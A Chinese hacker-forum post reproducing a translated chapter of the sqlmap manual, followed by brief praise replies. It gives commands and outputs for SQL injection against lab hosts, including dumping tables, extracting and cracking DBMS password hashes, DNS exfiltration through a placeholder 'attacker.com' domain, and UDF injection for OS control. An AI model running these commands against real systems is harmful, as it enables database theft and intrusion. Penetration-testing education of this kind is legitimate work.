请选择 进入手机版 | 继续访问电脑版

落羽黑客论坛

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 307|回复: 5

sqlmap开源渗透测试工具简要教程系列【9】

[复制链接]

66

主题

68

帖子

226

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
226
发表于 2021-2-10 11:00:10 | 显示全部楼层 |阅读模式
  1. SQL注入技术进行测试
  2. 选项: --technique

  3. 此选项可用于指定要测试的SQL注入类型。默认情况下,sqlmap测试其支持的所有类型/技术。

  4. 在某些情况下,您可能只想测试一种或几种特定类型的SQL注入思想,这就是该选项起作用的地方。

  5. 此选项需要一个参数。这种参数是一个通过的任何组合组成的字符串B,E,U,S,T和Q字符,其中每个字母代表一种不同的技术:

  6. B:基于布尔的盲注
  7. E:基于错误
  8. U:基于联合查询
  9. S:堆叠查询
  10. T:基于时间的盲注
  11. Q:内联查询
  12. 例如,ES如果您仅想测试和利用基于错误的查询和堆积查询,则可以提供SQL注入类型。默认值为BEUSTQ。

  13. 请注意S,当您要访问文件系统,接管操作系统或访问Windows注册表配置单元时,字符串必须包含堆叠的查询技术字母。

  14. 延迟基于时间的盲SQL注入的DBMS响应的秒数
  15. 选项: --time-sec

  16. 通过提供--time-sec选项后跟一个整数,可以设置秒数来延迟基于时间的盲SQL注入测试时的响应。默认情况下,它的值设置为5秒。

  17. UNION查询SQL注入中的列数
  18. 选项: --union-cols

  19. 默认情况下,sqlmap使用1至10列测试UNION查询SQL注入技术。但是,通过提供更高的--level值,该范围最多可以增加到50列。有关更多详细信息,请参见相关段落。

  20. 您可以通过为工具提供选项(--union-cols后跟整数范围)来手动告诉sqlmap使用特定范围的列来测试这种SQL注入类型。例如,12-16意味着使用12到16列来测试UNION查询SQL注入。

  21. 用于测试UNION查询SQL注入的字符
  22. 选项: --union-char

  23. 默认情况下,sqlmap使用NULL字符测试UNION查询SQL注入技术。但是,通过提供更高的--level值,sqlmap也将使用随机数执行测试,因为在某些特殊情况下,UNION查询测试NULL失败,而使用随机整数则成功。

  24. 您可以通过使用--union-char带有所需字符值(例如--union-char 123)的选项,手动告诉sqlmap使用特定字符测试这种类型的SQL注入。

  25. 在UNION查询SQL注入的FROM部分中使用的表
  26. 选项: --union-from

  27. 在某些UNION查询SQL注入情况下,需要在FROM子句中强制使用有效且可访问的表名。例如,Microsoft Access要求使用此表。如果不提供一个UNION查询,SQL注入将无法正确执行(例如--union-from=users)。

  28. DNS渗透攻击
  29. 选项: --dns-domain

  30. DNS渗透SQL注入攻击在“ SQL注入攻击中的DNS数据检索”中进行了描述,而在sqlmap内部实现的实现的介绍可在使用sqlmap的DNS渗透幻灯片中找到。

  31. 如果用户正在控制注册为DNS域服务器(例如domain attacker.com)的计算机,则可以使用此选项(例如--dns-domain attacker.com)来开启此攻击。它起作用的前提条件是使用Administrator特权(特权端口的使用53)运行一个sqlmap,并且可以使用一种常规(盲)技术。攻击的唯一目的是在已识别至少一种技术(最好是基于时间的盲法)的情况下加快数据检索的过程。如果可以使用基于错误的盲查询或UNION查询技术,则默认情况下将跳过这些查询技术。

  32. 二阶攻击
  33. 选项:--second-url和--second-req

  34. 二阶SQL注入攻击是一种攻击,其中一个脆弱页面中注入的有效负载的结果在另一脆弱页面(例如帧)处显示(反映)。通常这是由于用户在原始易受攻击页面上提供的输入的数据库存储而发生的。

  35. 您可以通过使用--second-order带有URL地址的选项或--second-req用于发送到显示结果的服务器的请求文件,手动告诉sqlmap测试这种类型的SQL注入。

  36. 指纹
  37. 广泛的数据库管理系统指纹
  38. 开关:-f或--fingerprint

  39. 默认情况下,Web应用程序的后端数据库管理系统指纹由sqlmap自动处理。在检测阶段结束之后,最终会提示用户选择进一步使用哪个易受攻击的参数,sqlmap对后端数据库管理系统进行指纹识别,并通过知道要使用的SQL语法,方言和查询继续进行注入在数据库体系结构范围内进行攻击。

  40. 如果对于任何实例,您想要基于各种技术(例如特定的SQL方言和带内错误消息)执行广泛的数据库管理系统指纹,则可以提供switch --fingerprint。sqlmap将执行更多的请求,并为确切的DBMS版本以及可能的操作系统,体系结构和补丁程序级别添加指纹。

  41. 如果要使指纹更准确,也可以提供-b或开关--banner。

  42. 枚举
  43. 这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。此外,您可以运行自己的SQL语句。

  44. 全部检索
  45. 开关: --all

  46. 该开关可用于用户希望通过使用单个开关来检索可远程访问的所有内容的情况。不建议这样做,因为它会生成大量检索有用和无用数据的请求。

  47. 旗帜
  48. 切换:-b或--banner

  49. 大多数现代数据库管理系统都具有函数和/或环境变量,该函数和/或环境变量返回数据库管理系统的版本,并最终在其补丁程序级别(即基础系统)上进行详细说明。通常,函数为version(),环境变量为@@version,但这取决于目标DBMS。

  50. 针对Oracle目标的示例:

  51. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
  52. -banner

  53. [...]
  54. [xx:xx:11] [INFO] fetching banner
  55. web application technology: PHP 5.2.6, Apache 2.2.9
  56. back-end DBMS: Oracle
  57. banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
  58. 会话用户
  59. 开关: --current-user

  60. 通过此开关,可以检索数据库管理系统的用户,该用户正在有效地从Web应用程序对后端DBMS执行查询。

  61. 当前数据库
  62. 开关: --current-db

  63. 使用此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。

  64. 服务器主机名
  65. 开关: --hostname

  66. 通过此开关,可以检索数据库管理系统的主机名。

  67. 针对MySQL目标的示例:

  68. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
  69. hostname

  70. [...]
  71. [xx:xx:04] [INFO] fetching server hostname
  72. [xx:xx:04] [INFO] retrieved: debian-5.0-i386
  73. hostname:    'debian-5.0-i386'
  74. 检测会话用户是否是数据库管理员
  75. 开关: --is-dba

  76. 可以检测当前的数据库管理系统会话用户是否是数据库管理员,也称为DBA。True如果是,则sqlmap将返回,反之亦然False。

  77. 列出数据库管理系统用户
  78. 开关: --users

  79. 当会话用户具有对包含有关DBMS用户信息的系统表的读取访问权限时,可以枚举用户列表。

  80. 列出并破解数据库管理系统用户的密码哈希
  81. 开关: --passwords

  82. 当会话用户具有对包含DBMS用户密码信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的密码哈希。sqlmap将首先枚举用户,然后为每个用户枚举不同的密码哈希。

  83. 针对PostgreSQL目标的示例:

  84. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
  85. passwords -v 1

  86. [...]
  87. back-end DBMS: PostgreSQL
  88. [hh:mm:38] [INFO] fetching database users password hashes
  89. do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
  90. [hh:mm:42] [INFO] using hash method: 'postgres_passwd'
  91. what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
  92. [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
  93. do you want to use common password suffixes? (slow!) [y/N] n
  94. [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
  95. [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
  96. [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
  97. database management system users password hashes:
  98. [*] postgres [1]:
  99.     password hash: md5d7d880f96044b72d0bba108ace96d1e4
  100.     clear-text password: testpass
  101. [*] testuser [1]:
  102.     password hash: md599e5ea7a6f7c3269995cba3927fd0093
  103.     clear-text password: testpass
  104. sqlmap不仅枚举了DBMS用户及其密码,而且还识别了哈希格式为PostgreSQL,询问用户是否针对字典文件测试哈希并确定postgres用户的明文密码,通常是另一个用户DBA和testuser密码。

  105. 此功能已为所有DBMS实施,可以枚举用户的密码哈希,包括Oracle和Microsoft SQL Server 2005之前和之后的版本。

  106. 您还可以提供选项-U以指定要枚举的特定用户,并最终破解密码哈希。如果您提供CU用户名作为用户名,它将被视为当前用户的别名,并将检索该用户的密码哈希。

  107. 列出数据库管理系统用户权限
  108. 开关: --privileges

  109. 当会话用户具有对包含DBMS用户信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的特权。通过特权,sqlmap还将向您显示哪些是数据库管理员。

  110. 您还可以提供选项-U以指定要枚举特权的用户。

  111. 如果您提供CU用户名作为用户名,它将被视为当前用户的别名,并枚举该用户的特权。

  112. 在Microsoft SQL Server上,此功能将向您显示每个用户是否是数据库管理员,而不是所有用户的特权列表。

  113. 列出数据库管理系统用户角色
  114. 开关: --roles

  115. 当会话用户具有对包含DBMS用户信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的角色。

  116. 您还可以提供选项-U以指定要枚举特权的用户。

  117. 如果您提供CU用户名作为用户名,它将被视为当前用户的别名,并枚举该用户的特权。

  118. 仅当DBMS是Oracle时,此功能才可用。

  119. 列出数据库管理系统的数据库
  120. 开关: --dbs

  121. 当会话用户具有对包含有关可用数据库信息的系统表的读取访问权限时,可以枚举数据库列表。

  122. 枚举数据库表
  123. 开关和选项:--tables,--exclude-sysdbs和-D

  124. 当会话用户具有对包含有关数据库表信息的系统表的读取访问权限时,可以枚举特定数据库管理系统数据库的表列表。

  125. 如果未使用option提供特定数据库-D,则sqlmap将枚举所有DBMS数据库的表。

  126. 您还可以提供此开关--exclude-sysdbs以排除所有系统数据库。

  127. 请注意,在Oracle上,您必须提供TABLESPACE_NAME而不是数据库名称。

  128. 枚举数据库表列
  129. 开关和选项:--columns,-C,-T和-D

  130. 当会话用户具有对包含有关数据库表信息的系统表的读取访问权限时,可以枚举特定数据库表的列列表。sqlmap还枚举每列的数据类型。

  131. 此功能取决于-T用于指定表名称的选项,也可以取决于-D指定数据库名称的选项。如果未指定数据库名称,则使用当前数据库名称。您还可以提供-C选项来指定表列名称,就像您要枚举的名称一样。

  132. 针对SQLite目标的示例:

  133. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
  134. -columns -D testdb -T users -C name
  135. [...]
  136. Database: SQLite_masterdb
  137. Table: users
  138. [3 columns]
  139. +---------+---------+
  140. | Column  | Type    |
  141. +---------+---------+
  142. | id      | INTEGER |
  143. | name    | TEXT    |
  144. | surname | TEXT    |
  145. +---------+---------+
  146. 请注意,在PostgreSQL上,您必须提供public或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举Web应用程序用户所连接的模式下的表,这些表始终以别名public。

  147. 枚举数据库管理系统架构
  148. 开关:--schema和--exclude-sysdbs

  149. 用户可以使用此开关检索DBMS模式。模式清单将包含所有数据库,表和列,以及它们各自的类型。与--exclude-sysdbs仅包含非系统数据库的部分架构结合使用,即可检索和显示。

  150. 针对MySQL目标的示例:

  151. $ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
  152. chema--batch --exclude-sysdbs

  153. [...]
  154. Database: owasp10
  155. Table: accounts
  156. [4 columns]
  157. +-------------+---------+
  158. | Column      | Type    |
  159. +-------------+---------+
  160. | cid         | int(11) |
  161. | mysignature | text    |
  162. | password    | text    |
  163. | username    | text    |
  164. +-------------+---------+

  165. Database: owasp10
  166. Table: blogs_table
  167. [4 columns]
  168. +--------------+----------+
  169. | Column       | Type     |
  170. +--------------+----------+
  171. | date         | datetime |
  172. | blogger_name | text     |
  173. | cid          | int(11)  |
  174. | comment      | text     |
  175. +--------------+----------+

  176. Database: owasp10
  177. Table: hitlog
  178. [6 columns]
  179. +----------+----------+
  180. | Column   | Type     |
  181. +----------+----------+
  182. | date     | datetime |
  183. | browser  | text     |
  184. | cid      | int(11)  |
  185. | hostname | text     |
  186. | ip       | text     |
  187. | referer  | text     |
  188. +----------+----------+

  189. Database: testdb
  190. Table: users
  191. [3 columns]
  192. +---------+---------------+
  193. | Column  | Type          |
  194. +---------+---------------+
  195. | id      | int(11)       |
  196. | name    | varchar(500)  |
  197. | surname | varchar(1000) |
  198. +---------+---------------+
  199. [...]
  200. 检索表的条目数
  201. 开关: --count

  202. 如果用户只想在转储所需表之前知道表中的条目数,则可以使用此开关。

  203. 针对Microsoft SQL Server目标的示例:

  204. $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
  205. --count -D testdb
  206. [...]
  207. Database: testdb
  208. +----------------+---------+
  209. | Table          | Entries |
  210. +----------------+---------+
  211. | dbo.users      | 4       |
  212. | dbo.users_blob | 2       |
  213. +----------------+---------+
  214. 转储数据库表条目
  215. 开关和选项:--dump,-C,-T,-D,--start,--stop,--first,--last,--pivot-column和--where

  216. 当会话用户具有对特定数据库表的读取访问权限时,可以转储表条目。

  217. 此功能取决于-T用于指定表名称的选项以及可选地-D用于指定数据库名称的选项。如果提供了表名,但没有提供数据库名,则使用当前数据库名。

  218. 针对Firebird目标的示例:

  219. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
  220. --dump -T users
  221. [...]
  222. Database: Firebird_masterdb
  223. Table: USERS
  224. [4 entries]
  225. +----+--------+------------+
  226. | ID | NAME   | SURNAME    |
  227. +----+--------+------------+
  228. | 1  | luther | blisset    |
  229. | 2  | fluffy | bunny      |
  230. | 3  | wu     | ming       |
  231. | 4  | NULL   | nameisnull |
  232. +----+--------+------------+
  233. 此开关还可用于转储所提供数据库的所有表条目。您只需要提供带有开关的sqlmap--dump以及仅选项-D(no-T和no -C)。

  234. 您还可以提供一个特定列的逗号分隔列表,以使用option转储-C。

  235. sqlmap还为每个转储的表生成CSV格式文本文件中的条目。您可以通过提供大于或等于1的详细级别来查看sqlmap创建文件的绝对路径。

  236. 如果只想转储一系列条目,则可以提供选项--start和/或--stop分别从某个条目开始转储并在某个条目处停止转储。例如,如果您只想转储第一个条目,请--stop 1在命令行中提供。反之亦然,例如,如果您只想转储第二和第三项,请提供--start 1 --stop 3。

  237. 另外,也可以指定单个字符或者字符的范围与选择要转储的--first和--last。例如,如果要转储列的条目从第三个字符到第五个字符,请提供--first 3 --last 5。此功能仅适用于盲SQL注入技术,因为对于基于错误的查询和UNION查询SQL注入技术,无论要转储的列条目输出的长度如何,请求的数量都完全相同。

  238. 有时(例如,对于Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n由于缺乏相似性,因此无法通过使用机制直接转储表行。在这种情况下,sqlmap通过确定最合适的pivot列(具有最唯一值的列)来转储内容,该列的值以后将用于检索其他列值。如果pivot由于自动选择的列不合适(例如,由于缺少表转储结果)而有必要强制使用特定列,则可以使用选项--pivot-column(例如--pivot-column=id)。

  239. 如果要将转储限制为特定的列值(或范围),可以使用option --where。所提供的逻辑操作将在WHERE子句中自动使用。例如,如果您--where="id>3"仅使用列值id大于3的表行,则将被检索(通过附加WHERE id>3到使用的转储查询中)。

  240. 正如您可能已经注意到的那样,sqlmap是灵活的:您可以保留它来自动转储整个数据库表,或者可以非常精确地确定要转储的字符,列的列数和范围。

  241. 转储所有数据库表条目
  242. 开关:--dump-all和--exclude-sysdbs

  243. 会话用户具有读取访问权限时,可以一次转储所有数据库表条目。

  244. 您还可以提供此开关--exclude-sysdbs以排除所有系统数据库。在这种情况下,sqlmap将仅转储用户数据库表的条目。

  245. 请注意,在Microsoft SQL Server上,该master数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

  246. 搜索列,表或数据库
  247. 开关和选项:--search,-C,-T,-D

  248. 通过此开关,您可以搜索特定的数据库名称,所有数据库中的特定表或所有数据库表中的特定列。

  249. 例如,这对于识别包含自定义应用程序凭据的表很有用,其中相关列的名称包含诸如name和pass之类的字符串。

  250. 交换机--search需要与以下支持选项之一结合使用:

  251. -C 在以逗号分隔的列名列表之后,在整个数据库管理系统中查找。
  252. -T 后面用逗号分隔的表名列表在整个数据库管理系统中查找。
  253. -D 以下是逗号分隔的数据库名称列表,以在整个数据库管理系统中查找。
  254. 运行自定义SQL语句
  255. 选项和开关:--sql-query和--sql-shell

  256. SQL查询和SQL Shell功能允许在数据库管理系统上运行任意SQL语句。sqlmap自动剖析所提供的语句,确定哪种技术适合用于注入它,以及如何相应地打包SQL有效负载。

  257. 如果查询是SELECT语句,则sqlmap将检索其输出。否则,如果Web应用程序在后端数据库管理系统上支持多个语句,它将通过堆栈查询SQL注入技术执行查询。请注意,某些Web应用程序技术不支持特定数据库管理系统上的堆叠查询。例如,当后端DBMS是MySQL时,PHP不支持堆栈查询,但是当后端DBMS是PostgreSQL时,PHP支持。

  258. 针对Microsoft SQL Server 2000目标的示例:

  259. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
  260. sql-query "SELECT 'foo'" -v 1

  261. [...]
  262. [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
  263. [hh:mm:14] [INFO] retrieved: foo
  264. SELECT 'foo':    'foo'

  265. $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
  266. sql-query "SELECT 'foo', 'bar'" -v 2

  267. [...]
  268. [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
  269. [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
  270. unpack it into distinct queries to be able to retrieve the output even if we are
  271. going blind
  272. [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
  273. VARCHAR(8000)), (CHAR(32)))
  274. [hh:mm:50] [INFO] retrieved: foo
  275. [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  276. [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
  277. RCHAR(8000)), (CHAR(32)))
  278. [hh:mm:50] [INFO] retrieved: bar
  279. [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  280. SELECT 'foo', 'bar':    'foo, bar'
  281. 如您所见,sqlmap将提供的查询分为两个不同的SELECT语句,然后为每个单独的查询检索输出。

  282. 如果提供的查询是一个SELECT语句并包含一个FROM子句,则sqlmap将询问您该语句是否可以返回多个条目。在那种情况下,该工具会知道如何正确解压缩查询以对可能的条目数进行计数并检索其输出,即每个条目的条目。

  283. SQL Shell选项允许您交互地运行自己的SQL语句,就像连接到数据库管理系统的SQL控制台一样。此功能也提供了TAB完成和历史记录支持。

  284. 蛮力
  285. 这些开关可用于运行暴力检查。

  286. 蛮力表名称
  287. 开关: --common-tables

  288. 在某些情况下,--tables不能使用switch来检索数据库的表名。这些情况通常属于以下类别之一:

  289. 数据库管理系统是MySQL <5.0,information_schema不可用。
  290. 数据库管理系统是Microsoft Access,系统表MSysObjects不可读-默认设置。
  291. 会话用户对存储数据库方案的系统表没有读取特权。
  292. 如果前两种情况中的任何一种适用并且您提供了switch --tables,则sqlmap会提示您一个问题,以退回到该技术。这两种情况均适用于您的情况,如果您为它提供了switch,则sqlmap仍然可以识别一些现有表--common-tables。sqlmap将执行暴力攻击,以检测整个DBMS中是否存在公用表。

  293. 公用表名称的列表是txt/common-tables.txt,您可以根据需要对其进行编辑。

  294. 针对MySQL 4.1目标的示例:

  295. $ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
  296. n-tables -D testdb --banner

  297. [...]
  298. [hh:mm:39] [INFO] testing MySQL
  299. [hh:mm:39] [INFO] confirming MySQL
  300. [hh:mm:40] [INFO] the back-end DBMS is MySQL
  301. [hh:mm:40] [INFO] fetching banner
  302. web server operating system: Windows
  303. web application technology: PHP 5.3.1, Apache 2.2.14
  304. back-end DBMS operating system: Windows
  305. back-end DBMS: MySQL < 5.0.0
  306. banner:    '4.1.21-community-nt'

  307. [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
  308. t/common-tables.txt'
  309. [hh:mm:40] [INFO] adding words used on web page to the check list
  310. please enter number of threads? [Enter for 1 (current)] 8
  311. [hh:mm:43] [INFO] retrieved: users

  312. Database: testdb
  313. [1 table]
  314. +-------+
  315. | users |
  316. +-------+
  317. 蛮力列名称
  318. 开关: --common-columns

  319. 对于每个表,在某些情况下--columns不能使用switch来检索数据库表的列名。这些情况通常属于以下类别之一:

  320. 数据库管理系统是MySQL <5.0,information_schema不可用。
  321. 数据库管理系统是Microsoft Access,其中系统表内部不提供此类信息。
  322. 会话用户对存储数据库方案的系统表没有读取特权。
  323. 如果前两种情况中的任何一种适用并且您提供了switch --columns,则sqlmap会提示您一个问题,以退回到该技术。这两种情况均适用于您的情况,如果您为它提供了switch,则sqlmap仍然可以识别一些现有表--common-columns。sqlmap将执行暴力攻击,以检测DBMS中是否存在公共列。

  324. 公用表名称的列表是txt/common-columns.txt,您可以根据需要对其进行编辑。

  325. 用户定义的功能注入
  326. 这些选项可用于创建自定义的用户定义函数。

  327. 注入自定义用户定义函数(UDF)
  328. 开关和选项:--udf-inject和--shared-lib

  329. 您可以通过编译MySQL或PostgreSQL共享库,Windows的DLL和Linux / Unix的共享对象来注入自己的用户定义函数(UDF),然后为sqlmap提供共享库在计算机上本地存储的路径。然后,sqlmap将询问您一些问题,将共享库上传到数据库服务器文件系统上,从中创建用户定义的函数,并根据您的选择执行它们。使用完注入的UDF后,sqlmap还可以为您从数据库中删除它们。

  330. 这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。

  331. 使用选项--udf-inject并按照说明进行操作。

  332. 如果需要,您也可以使用--shared-lib选项通过命令行指定共享库本地文件系统路径。反之亦然,sqlmap会在运行时要求您提供路径。

  333. 仅当数据库管理系统是MySQL或PostgreSQL时,此功能才可用。
复制代码


回复

使用道具 举报

0

主题

2

帖子

28

积分

新手上路

Rank: 1

积分
28
发表于 2021-2-10 11:01:04 | 显示全部楼层
顶一下!!
回复

使用道具 举报

0

主题

2

帖子

32

积分

新手上路

Rank: 1

积分
32
发表于 2021-2-10 11:01:58 | 显示全部楼层
不错呀!!
回复

使用道具 举报

0

主题

2

帖子

18

积分

新手上路

Rank: 1

积分
18
发表于 2021-2-10 11:02:46 | 显示全部楼层
赞!赞!!
回复

使用道具 举报

0

主题

1

帖子

5

积分

新手上路

Rank: 1

积分
5
发表于 2021-2-10 11:03:50 | 显示全部楼层
沙发!!
回复

使用道具 举报

0

主题

1

帖子

41

积分

新手上路

Rank: 1

积分
41
发表于 2021-2-10 11:04:45 | 显示全部楼层
太棒了!!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|落羽黑客论坛

GMT+8, 2021-6-16 22:58 , Processed in 0.049004 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表